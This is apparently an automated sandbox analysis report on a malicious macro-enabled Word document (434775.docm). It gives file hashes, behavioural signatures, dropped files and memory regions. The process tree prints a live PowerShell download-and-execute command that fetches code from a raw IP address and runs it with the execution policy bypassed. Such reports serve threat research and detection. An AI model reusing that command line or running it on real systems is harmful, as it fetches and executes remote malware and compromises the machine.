Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    20-03-2024 09:25

General

  • Target

    434775.docm

  • Size

    53KB

  • MD5

    8361467d6ef12ab5cdc89ac03eda2630

  • SHA1

    778a76a890425fa2ffa81cc46aedbee761bfdae2

  • SHA256

    8b0ef4e50ddad2036e3d85e87a0cd53e3ae0a436ea4fff99fd4ddb845e4f265f

  • SHA512

    fdab4e67756e2a7a8a0813eeabeeb5d8699eb702c0e04c1c31c8ec32f0189a6638f4e88cbe4ff34259075b98ccc33108236ca1dc969200a0e0f1475480dc11c9

  • SSDEEP

    1536:JbxVjYWdp4RvikgWUNXRIDBXceQ2JKAgMY+9/w0G:mv5g3NXRI/Q2BJYQM

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\434775.docm"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2384
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2556
    • C:\Windows\system32\wscript.exe
      wscript /E:vbscript C:\Users\Admin\AppData\Local\Temp\rad973CC.tmp
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2304
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://192.121.17.93/update_ver')|iex"
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2236

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\rad973CC.tmp

      Filesize

      237B

      MD5

      2d8a9d6cbd295e7e3ef5db8edbd0b765

      SHA1

      461b708cd202a2f7b9730ec2bdb14c0df7ab5bb0

      SHA256

      243f6e690985e84e9056fa67850920281431fe76c368ae9ef72a241c5594ea5d

      SHA512

      720d70128caf0bc9668d0411023a8ac79708fce3e49ce08e7e037011de6e157452dadc29913d801c6699d0cb0836a25b67eaadecb8884e2e2f5fa41be0a9e76e

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      a5dead39b1b05ded076e0d21b0445eb3

      SHA1

      f04e63bc947ebacec9e671f2de45817b5c939c4d

      SHA256

      84d0ba8e10841e38fdc32b680eff9d18bd5014539c6627640a41bd90a941e444

      SHA512

      299e4819f3da774e4a2eeec8bde04490a722c6cd431dc1f08fe2b6ff5117b677c275c2ccf3fedaf99c1da718886c74161eebda734ec6c9356bad12271a69de58

    • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex

      Filesize

      2B

      MD5

      f3b25701fe362ec84616a93a45ce9998

      SHA1

      d62636d8caec13f04e28442a0a6fa1afeb024bbb

      SHA256

      b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

      SHA512

      98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

    • memory/2236-70-0x000007FEF57C0000-0x000007FEF615D000-memory.dmp

      Filesize

      9.6MB

    • memory/2236-69-0x0000000001E80000-0x0000000001F00000-memory.dmp

      Filesize

      512KB

    • memory/2236-67-0x0000000001E80000-0x0000000001F00000-memory.dmp

      Filesize

      512KB

    • memory/2236-66-0x000007FEF57C0000-0x000007FEF615D000-memory.dmp

      Filesize

      9.6MB

    • memory/2236-64-0x000007FEF57C0000-0x000007FEF615D000-memory.dmp

      Filesize

      9.6MB

    • memory/2236-65-0x0000000001E80000-0x0000000001F00000-memory.dmp

      Filesize

      512KB

    • memory/2236-63-0x0000000001E70000-0x0000000001E78000-memory.dmp

      Filesize

      32KB

    • memory/2236-58-0x000000001B520000-0x000000001B802000-memory.dmp

      Filesize

      2.9MB

    • memory/2384-8-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2384-25-0x00000000714ED000-0x00000000714F8000-memory.dmp

      Filesize

      44KB

    • memory/2384-30-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2384-31-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2384-32-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2384-35-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2384-37-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2384-28-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2384-26-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2384-27-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2384-0-0x000000002F361000-0x000000002F362000-memory.dmp

      Filesize

      4KB

    • memory/2384-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2384-10-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2384-9-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2384-7-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2384-6-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2384-2-0x00000000714ED000-0x00000000714F8000-memory.dmp

      Filesize

      44KB

    • memory/2384-68-0x00000000714ED000-0x00000000714F8000-memory.dmp

      Filesize

      44KB

    • memory/2384-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB